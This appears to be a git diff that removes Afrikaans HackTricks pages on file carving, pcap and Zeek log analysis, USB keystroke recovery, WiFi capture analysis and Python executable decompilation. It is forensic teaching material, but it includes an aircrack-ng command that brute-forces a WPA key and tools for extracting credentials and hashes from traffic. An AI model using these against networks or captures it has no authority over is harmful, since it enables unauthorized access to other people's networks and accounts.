- **Sien stings en hulpbronne**, in PE of ELF uitvoerbare lêers bv.
|
||||
- Kry **patrone** vir kriptoanalise op lêers
|
||||
- **Identifiseer** pakkers of kodering algoritmes
|
||||
- **Identifiseer** Steganografie deur patrone
|
||||
- **Visuele** binêre-diffing
|
||||
|
||||
BinVis is 'n uitstekende **beginpunt om bekend te raak met 'n onbekende teiken** in 'n swart-doos scenario.
|
||||
|
||||
## Spesifieke Data Carving Hulpmiddels
|
||||
|
||||
### FindAES
|
||||
|
||||
Soek na AES sleutels deur hul sleutel skedules te soek. In staat om 128, 192, en 256 bit sleutels te vind, soos dié wat deur TrueCrypt en BitLocker gebruik word.
|
||||
|
||||
Laai [hier](https://sourceforge.net/projects/findaes/) af.
|
||||
|
||||
## Aanvullende hulpmiddels
|
||||
|
||||
Jy kan [**viu** ](https://github.com/atanunq/viu) gebruik om beelde vanaf die terminal te sien.\
|
||||
Jy kan die linux opdraglyn hulpmiddel **pdftotext** gebruik om 'n pdf in teks te omskep en dit te lees.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,65 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Carving tools
|
||||
|
||||
## Autopsy
|
||||
|
||||
Die mees algemene hulpmiddel wat in forensiese ondersoeke gebruik word om lêers uit beelde te onttrek, is [**Autopsy**](https://www.autopsy.com/download/). Laai dit af, installeer dit en laat dit die lêer verwerk om "versteekte" lêers te vind. Let daarop dat Autopsy gebou is om skyfbeelde en ander soorte beelde te ondersteun, maar nie eenvoudige lêers nie.
|
||||
|
||||
## Binwalk <a id="binwalk"></a>
|
||||
|
||||
**Binwalk** is 'n hulpmiddel om binêre lêers soos beelde en klanklêers te soek vir ingebedde lêers en data. Dit kan geïnstalleer word met `apt`, maar die [bron](https://github.com/ReFirmLabs/binwalk) kan op github gevind word.
|
||||
**Nuttige opdragte**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
## Foremost
|
||||
|
||||
Nog 'n algemene hulpmiddel om verborge lêers te vind, is **foremost**. Jy kan die konfigurasielêer van foremost in `/etc/foremost.conf` vind. As jy net vir 'n paar spesifieke lêers wil soek, ontkommentarieer hulle. As jy niks ontkommentarieer nie, sal foremost vir sy standaard geconfigureerde lêertipes soek.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
## **Scalpel**
|
||||
|
||||
**Scalpel** is 'n ander hulpmiddel wat gebruik kan word om **lêers wat in 'n lêer ingebed is** te vind en te onttrek. In hierdie geval sal jy die lêertipes wat jy wil hê dit moet onttrek, uit die konfigurasie-lêer \(_/etc/scalpel/scalpel.conf_\) moet ontkommentaar.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
## Bulk Extractor
|
||||
|
||||
Hierdie hulpmiddel kom binne kali, maar jy kan dit hier vind: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Hierdie hulpmiddel kan 'n beeld skandeer en sal **pcaps** daarin **onttrek**, **netwerk inligting\(URLs, domeine, IPs, MACs, e-posse\)** en meer **lêers**. Jy hoef net te doen:
|
||||
```text
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigeer deur **alle inligting** wat die hulpmiddel versamel het \(wagwoorde?\), **analiseer** die **pakkette** \(lees[ **Pcaps analise**](../pcap-inspection/index.html)\), soek vir **vreemde domeine** \(domeine wat verband hou met **malware** of **nie-bestaande**\).
|
||||
|
||||
## PhotoRec
|
||||
|
||||
Jy kan dit vind in [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Dit kom met 'n GUI en CLI weergawe. Jy kan die **lêer-tipes** kies waarvoor PhotoRec moet soek.
|
||||
|
||||

|
||||
|
||||
# Spesifieke Data Carving Hulpmiddels
|
||||
|
||||
## FindAES
|
||||
|
||||
Soek vir AES sleutels deur hul sleutel skedules te soek. In staat om 128, 192, en 256 bit sleutels te vind, soos dié wat deur TrueCrypt en BitLocker gebruik word.
|
||||
|
||||
Laai [hier](https://sourceforge.net/projects/findaes/) af.
|
||||
|
||||
# Aanvullende hulpmiddels
|
||||
|
||||
Jy kan [**viu** ](https://github.com/atanunq/viu) gebruik om beelde vanaf die terminal te sien.
|
||||
Jy kan die linux opdraglyn hulpmiddel **pdftotext** gebruik om 'n pdf in teks te transformeer en dit te lees.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,212 +0,0 @@
|
||||
# Pcap Inspeksie
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> 'n Nota oor **PCAP** teenoor **PCAPNG**: daar is twee weergawes van die PCAP lêerformaat; **PCAPNG is nuwer en word nie deur alle gereedskap ondersteun nie**. Jy mag dalk 'n lêer van PCAPNG na PCAP moet omskakel met Wireshark of 'n ander versoenbare gereedskap, om dit in sommige ander gereedskap te kan gebruik.
|
||||
|
||||
## Aanlyn gereedskap vir pcaps
|
||||
|
||||
- As die kop van jou pcap **gebroke** is, moet jy probeer om dit te **herstel** met: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
- Trek **inligting** uit en soek vir **kwaadaardige sagteware** binne 'n pcap in [**PacketTotal**](https://packettotal.com)
|
||||
- Soek vir **kwaadaardige aktiwiteit** met [**www.virustotal.com**](https://www.virustotal.com) en [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
|
||||
## Trek Inligting Uit
|
||||
|
||||
Die volgende gereedskap is nuttig om statistieke, lêers, ens. uit te trek.
|
||||
|
||||
### Wireshark
|
||||
|
||||
> [!NOTE]
|
||||
> **As jy 'n PCAP gaan analiseer, moet jy basies weet hoe om Wireshark te gebruik**
|
||||
|
||||
Jy kan 'n paar Wireshark truuks vind in:
|
||||
|
||||
{{#ref}}
|
||||
wireshark-tricks.md
|
||||
{{#endref}}
|
||||
|
||||
### Xplico Framework
|
||||
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(slegs linux)_ kan **analiseer** 'n **pcap** en inligting daaruit onttrek. Byvoorbeeld, uit 'n pcap lêer onttrek Xplico elke e-pos (POP, IMAP, en SMTP protokolle), al die HTTP-inhoud, elke VoIP-oproep (SIP), FTP, TFTP, ensovoorts.
|
||||
|
||||
**Installeer**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
sudo apt-get update
|
||||
sudo apt-get install xplico
|
||||
```
|
||||
**Hardloop**
|
||||
```
|
||||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Toegang tot _**127.0.0.1:9876**_ met inligting _**xplico:xplico**_
|
||||
|
||||
Skep dan 'n **nuwe saak**, skep 'n **nuwe sessie** binne die saak en **laai die pcap** lêer op.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Soos Xplico is dit 'n hulpmiddel om **te analiseer en voorwerpe uit pcaps te onttrek**. Dit het 'n gratis weergawe wat jy kan **aflaai** [**hier**](https://www.netresec.com/?page=NetworkMiner). Dit werk met **Windows**.\
|
||||
Hierdie hulpmiddel is ook nuttig om **ander inligting te analiseer** uit die pakkette om te weet wat gebeur het op 'n **sneller** manier.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Jy kan [**NetWitness Investigator van hier**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **aflaai (Dit werk in Windows)**.\
|
||||
Dit is 'n ander nuttige hulpmiddel wat **die pakkette analiseer** en die inligting op 'n nuttige manier sorteer om **te weet wat binne gebeur**.
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
- Onttrek en kodeer gebruikersname en wagwoorde (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
- Onttrek verifikasie-hashes en kraak dit met Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
- Bou 'n visuele netwerkdiagram (Netwerk nodes & gebruikers)
|
||||
- Onttrek DNS versoeke
|
||||
- Herbou alle TCP & UDP Sessies
|
||||
- Lêer Carving
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
capinfos capture.pcap
|
||||
```
|
||||
### Ngrep
|
||||
|
||||
As jy **soek** na **iets** binne die pcap kan jy **ngrep** gebruik. Hier is 'n voorbeeld wat die hooffilters gebruik:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Carving
|
||||
|
||||
Die gebruik van algemene carving tegnieke kan nuttig wees om lêers en inligting uit die pcap te onttrek:
|
||||
|
||||
{{#ref}}
|
||||
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Capturing credentials
|
||||
|
||||
Jy kan gereedskap soos [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gebruik om akrediteerbare inligting uit 'n pcap of 'n lewende koppelvlak te parse.
|
||||
|
||||
## Check Exploits/Malware
|
||||
|
||||
### Suricata
|
||||
|
||||
**Installeer en stel op**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Kontroleer pcap**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
### YaraPcap
|
||||
|
||||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is 'n hulpmiddel wat
|
||||
|
||||
- 'n PCAP-lêer lees en Http-strome onttrek.
|
||||
- gzip ontplof enige gecomprimeerde strome
|
||||
- elke lêer met yara skandeer
|
||||
- 'n report.txt skryf
|
||||
- Opsioneel ooreenstemmende lêers in 'n gids stoor
|
||||
|
||||
### Malware Analise
|
||||
|
||||
Kyk of jy enige vingerafdruk van 'n bekende malware kan vind:
|
||||
|
||||
{{#ref}}
|
||||
../malware-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
## Zeek
|
||||
|
||||
> [Zeek](https://docs.zeek.org/en/master/about.html) is 'n passiewe, oopbron netwerkverkeer analiseerder. Baie operateurs gebruik Zeek as 'n Netwerk Sekuriteits Monitor (NSM) om ondersoeke van verdagte of kwaadwillige aktiwiteite te ondersteun. Zeek ondersteun ook 'n wye reeks verkeer analise take buite die sekuriteitsdomein, insluitend prestasiemeting en probleemoplossing.
|
||||
|
||||
Basies, logs wat deur `zeek` geskep word, is nie **pcaps** nie. Daarom sal jy **ander hulpmiddels** moet gebruik om die logs te analiseer waar die **inligting** oor die pcaps is.
|
||||
|
||||
### Verbinding Inligting
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
|
||||
|
||||
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
|
||||
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
|
||||
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
|
||||
|
||||
|
||||
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 443 tcp 86222.4
|
||||
10.55.100.107 111.221.29.113 443 tcp 86220.1
|
||||
10.55.100.110 40.77.229.82 443 tcp 86160.1
|
||||
|
||||
#Get the number of connections summed up per each line
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
|
||||
|
||||
10.55.100.100 65.52.108.225 1 86222.4
|
||||
10.55.100.107 111.221.29.113 1 86220.1
|
||||
10.55.100.110 40.77.229.82 134 86160.1
|
||||
|
||||
#Check if any IP is connecting to 1.1.1.1
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
|
||||
|
||||
#Get number of connections per source IP, dest IP and dest Port
|
||||
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
|
||||
|
||||
|
||||
# RITA
|
||||
#Something similar can be done with the tool rita
|
||||
rita show-long-connections -H --limit 10 zeek_logs
|
||||
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
|
||||
+---------------+----------------+--------------------------+----------------+
|
||||
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
|
||||
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
|
||||
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
|
||||
|
||||
#Get connections info from rita
|
||||
rita show-beacons zeek_logs | head -n 10
|
||||
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
|
||||
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
|
||||
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
|
||||
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
|
||||
```
|
||||
### DNS-inligting
|
||||
```bash
|
||||
#Get info about each DNS request performed
|
||||
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
|
||||
|
||||
#Get the number of times each domain was requested and get the top 10
|
||||
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
|
||||
|
||||
#Get all the IPs
|
||||
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
|
||||
|
||||
#Sort the most common DNS record request (should be A)
|
||||
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
|
||||
|
||||
#See top DNS domain requested with rita
|
||||
rita show-exploded-dns -H --limit 10 zeek_logs
|
||||
```
|
||||
## Ander pcap analise truuks
|
||||
|
||||
{{#ref}}
|
||||
dnscat-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
wifi-pcap-analysis.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
usb-keystrokes.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,14 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
As jy 'n pcap van 'n USB-verbinding met baie onderbrekings het, is dit waarskynlik 'n USB-keyboardverbinding.
|
||||
|
||||
'n Wireshark-filter soos hierdie kan nuttig wees: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||
|
||||
Dit kan belangrik wees om te weet dat die data wat met "02" begin, met shift gedruk word.
|
||||
|
||||
Jy kan meer inligting lees en 'n paar skrifte vind oor hoe om dit te analiseer in:
|
||||
|
||||
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,17 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
As jy 'n pcap het wat die kommunikasie via USB van 'n sleutelbord soos die volgende bevat:
|
||||
|
||||
.png>)
|
||||
|
||||
Kan jy die hulpmiddel [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) gebruik om te kry wat in die kommunikasie geskryf is:
|
||||
```bash
|
||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||
python3 usbkeyboard.py ./keystrokes.txt
|
||||
```
|
||||
U kan meer inligting lees en 'n paar skripte vind oor hoe om dit te analiseer in:
|
||||
|
||||
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,39 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Kontroleer BSSIDs
|
||||
|
||||
Wanneer jy 'n opname ontvang waarvan die hoofverkeer Wifi is met WireShark, kan jy begin om al die SSIDs van die opname te ondersoek met _Wireless --> WLAN Traffic_:
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
## Brute Force
|
||||
|
||||
Een van die kolomme van daardie skerm dui aan of **enige outentisering binne die pcap gevind is**. As dit die geval is, kan jy probeer om dit te Brute force met `aircrack-ng`:
|
||||
```bash
|
||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||
```
|
||||
Byvoorbeeld, dit sal die WPA wagwoord wat 'n PSK (pre shared-key) beskerm, terughaal, wat benodig sal word om die verkeer later te ontsleutel.
|
||||
|
||||
# Data in Beacons / Sy Kanaal
|
||||
|
||||
As jy vermoed dat **data binne beacons van 'n Wifi-netwerk gelek word**, kan jy die beacons van die netwerk nagaan met 'n filter soos die volgende: `wlan contains <NAMEofNETWORK>`, of `wlan.ssid == "NAMEofNETWORK"` soek binne die gefilterde pakkette vir verdagte stringe.
|
||||
|
||||
# Vind Onbekende MAC Adresse in 'n Wifi Netwerk
|
||||
|
||||
Die volgende skakel sal nuttig wees om die **masjiene wat data binne 'n Wifi-netwerk stuur** te vind:
|
||||
|
||||
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||
|
||||
As jy reeds **MAC adresse weet, kan jy hulle uit die uitvoer verwyder** deur kontroles soos hierdie een by te voeg: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||
|
||||
Sodra jy **onbekende MAC** adresse wat binne die netwerk kommunikeer, opgespoor het, kan jy **filters** soos die volgende gebruik: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)` om sy verkeer te filter. Let daarop dat ftp/http/ssh/telnet filters nuttig is as jy die verkeer ontsleutel het.
|
||||
|
||||
# Ontsleutel Verkeer
|
||||
|
||||
Edit --> Voorkeure --> Protokolle --> IEEE 802.11--> Edit
|
||||
|
||||
.png>)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,202 +0,0 @@
|
||||
# Decompile gecompileerde python-binaries (exe, elf) - Verkry uit .pyc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Van Gecompileerde Binaire na .pyc
|
||||
|
||||
Van 'n **ELF** gecompileerde binaire kan jy **die .pyc** verkry met:
|
||||
```bash
|
||||
pyi-archive_viewer <binary>
|
||||
# The list of python modules will be given here:
|
||||
[(0, 230, 311, 1, 'm', 'struct'),
|
||||
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
|
||||
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
|
||||
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
|
||||
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
|
||||
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
|
||||
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
|
||||
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
|
||||
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
|
||||
(15535, 2514, 4421, 1, 's', 'binary_name'),
|
||||
...
|
||||
|
||||
? X binary_name
|
||||
to filename? /tmp/binary.pyc
|
||||
```
|
||||
In 'n **python exe binêre** gecompileer kan jy die **.pyc** kry deur te loop:
|
||||
```bash
|
||||
python pyinstxtractor.py executable.exe
|
||||
```
|
||||
## Van .pyc na python kode
|
||||
|
||||
Vir die **.pyc** data ("gecompileerde" python) moet jy begin probeer om die **oorspronklike** **python** **kode** te **onttrek**:
|
||||
```bash
|
||||
uncompyle6 binary.pyc > decompiled.py
|
||||
```
|
||||
**Maak seker** dat die binêre die **uitbreiding** "**.pyc**" het (as nie, gaan uncompyle6 nie werk nie)
|
||||
|
||||
Terwyl jy **uncompyle6** uitvoer, mag jy die **volgende foute** teëkom:
|
||||
|
||||
### Fout: Onbekende magiese nommer 227
|
||||
```bash
|
||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||
Unknown magic number 227 in /tmp/binary.pyc
|
||||
```
|
||||
Om dit reg te maak, moet jy **die korrekte magiese nommer** aan die begin van die gegenereerde lêer byvoeg.
|
||||
|
||||
**Magiese nommers verskil met die python weergawe**, om die magiese nommer van **python 3.8** te kry, sal jy **'n python 3.8** terminal moet oopmaak en uitvoer:
|
||||
```
|
||||
>> import imp
|
||||
>> imp.get_magic().hex()
|
||||
'550d0d0a'
|
||||
```
|
||||
Die **magiese nommer** in hierdie geval vir python3.8 is **`0x550d0d0a`**, dan, om hierdie fout reg te stel, sal jy **moet byvoeg** aan die **begin** van die **.pyc-lêer** die volgende bytes: `0x0d550a0d000000000000000000000000`
|
||||
|
||||
**Sodra** jy daardie magiese kopstuk **bygevoeg** het, behoort die **fout reggestel** te wees.
|
||||
|
||||
So sal 'n korrek bygevoegde **.pyc python3.8 magiese kopstuk** lyk:
|
||||
```bash
|
||||
hexdump 'binary.pyc' | head
|
||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
|
||||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||
```
|
||||
### Fout: Decompileer generiese foute
|
||||
|
||||
**Ander foute** soos: `class 'AssertionError'>; co_code moet een van die tipes (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is tipe <class 'NoneType'>` mag verskyn.
|
||||
|
||||
Dit beteken waarskynlik dat jy **nie korrek** die magiese nommer bygevoeg het nie of dat jy **nie** die **korrekte magiese nommer gebruik het nie**, so maak **verseker jy gebruik die korrekte een** (of probeer 'n nuwe een).
|
||||
|
||||
Kyk na die vorige fout dokumentasie.
|
||||
|
||||
## Outomatiese Gereedskap
|
||||
|
||||
Die [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) dien as 'n kombinasie van verskeie gemeenskap-beskikbare gereedskap wat ontwerp is om navorsers te help om uitvoerbare lêers wat in Python geskryf is, spesifiek dié wat met py2exe en pyinstaller geskep is, uit te pak en te decompileer. Dit sluit YARA-reëls in om te identifiseer of 'n uitvoerbare lêer Python-gebaseerd is en bevestig die skeppingsgereedskap.
|
||||
|
||||
### ImportError: Lêernaam: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' bestaan nie
|
||||
|
||||
'n Algemene probleem wat ondervind word, behels 'n onvolledige Python bytecode-lêer wat ontstaan uit die **uitpakproses met unpy2exe of pyinstxtractor**, wat dan **nie deur uncompyle6 erken word nie weens 'n ontbrekende Python bytecode weergawe nommer**. Om dit aan te spreek, is 'n prepend opsie bygevoeg, wat die nodige Python bytecode weergawe nommer byvoeg, wat die decompileerproses vergemaklik.
|
||||
|
||||
Voorbeeld van die probleem:
|
||||
```python
|
||||
# Error when attempting to decompile without the prepend option
|
||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||
Traceback (most recent call last):
|
||||
...
|
||||
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
|
||||
```
|
||||
|
||||
```python
|
||||
# Successful decompilation after using the prepend option
|
||||
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||
[*] On Python 2.7
|
||||
[+] Magic bytes are already appended.
|
||||
|
||||
# Successfully decompiled file
|
||||
[+] Successfully decompiled.
|
||||
```
|
||||
## Analysering python assembly
|
||||
|
||||
As jy nie in staat was om die python "oorspronklike" kode te onttrek nie, kan jy probeer om die **assembly** te **onttrek** (maar dit is **nie baie beskrywend** nie, so **probeer** om die oorspronklike kode **weer** te onttrek). In [hier](https://bits.theorem.co/protecting-a-python-codebase/) het ek 'n baie eenvoudige kode gevind om die _.pyc_ binêre te **ontbind** (sterkte met die verstaan van die kodevloei). As die _.pyc_ van python2 is, gebruik python2:
|
||||
```bash
|
||||
>>> import dis
|
||||
>>> import marshal
|
||||
>>> import struct
|
||||
>>> import imp
|
||||
>>>
|
||||
>>> with open('hello.pyc', 'r') as f: # Read the binary file
|
||||
... magic = f.read(4)
|
||||
... timestamp = f.read(4)
|
||||
... code = f.read()
|
||||
...
|
||||
>>>
|
||||
>>> # Unpack the structured content and un-marshal the code
|
||||
>>> magic = struct.unpack('<H', magic[:2])
|
||||
>>> timestamp = struct.unpack('<I', timestamp)
|
||||
>>> code = marshal.loads(code)
|
||||
>>> magic, timestamp, code
|
||||
((62211,), (1425911959,), <code object <module> at 0x7fd54f90d5b0, file "hello.py", line 1>)
|
||||
>>>
|
||||
>>> # Verify if the magic number corresponds with the current python version
|
||||
>>> struct.unpack('<H', imp.get_magic()[:2]) == magic
|
||||
True
|
||||
>>>
|
||||
>>> # Disassemble the code object
|
||||
>>> dis.disassemble(code)
|
||||
1 0 LOAD_CONST 0 (<code object hello_world at 0x7f31b7240eb0, file "hello.py", line 1>)
|
||||
3 MAKE_FUNCTION 0
|
||||
6 STORE_NAME 0 (hello_world)
|
||||
9 LOAD_CONST 1 (None)
|
||||
12 RETURN_VALUE
|
||||
>>>
|
||||
>>> # Also disassemble that const being loaded (our function)
|
||||
>>> dis.disassemble(code.co_consts[0])
|
||||
2 0 LOAD_CONST 1 ('Hello {0}')
|
||||
3 LOAD_ATTR 0 (format)
|
||||
6 LOAD_FAST 0 (name)
|
||||
9 CALL_FUNCTION 1
|
||||
12 PRINT_ITEM
|
||||
13 PRINT_NEWLINE
|
||||
14 LOAD_CONST 0 (None)
|
||||
17 RETURN_VALUE
|
||||
```
|
||||
## Python na Uitvoerbare
|
||||
|
||||
Om te begin, gaan ons jou wys hoe payloads in py2exe en PyInstaller saamgestel kan word.
|
||||
|
||||
### Om 'n payload te skep met py2exe:
|
||||
|
||||
1. Installeer die py2exe-pakket van [http://www.py2exe.org/](http://www.py2exe.org)
|
||||
2. Vir die payload (in hierdie geval, gaan ons dit hello.py noem), gebruik 'n skrif soos die een in Figuur 1. Die opsie “bundle_files” met die waarde van 1 sal alles insluit, insluitend die Python-interpretator, in een exe.
|
||||
3. Sodra die skrif gereed is, sal ons die opdrag “python setup.py py2exe” gee. Dit sal die uitvoerbare skep, net soos in Figuur 2.
|
||||
```python
|
||||
from distutils.core import setup
|
||||
import py2exe, sys, os
|
||||
|
||||
sys.argv.append('py2exe')
|
||||
|
||||
setup(
|
||||
options = {'py2exe': {'bundle_files': 1}},
|
||||
#windows = [{'script': "hello.py"}],
|
||||
console = [{'script': "hello.py"}],
|
||||
zipfile = None,
|
||||
)
|
||||
```
|
||||
|
||||
```bash
|
||||
C:\Users\test\Desktop\test>python setup.py py2exe
|
||||
running py2exe
|
||||
*** searching for required modules ***
|
||||
*** parsing results ***
|
||||
*** finding dlls needed ***
|
||||
*** create binaries ***
|
||||
*** byte compile python files ***
|
||||
*** copy extensions ***
|
||||
*** copy dlls ***
|
||||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||
```
|
||||
### Om 'n payload te skep met PyInstaller:
|
||||
|
||||
1. Installeer PyInstaller met pip (pip install pyinstaller).
|
||||
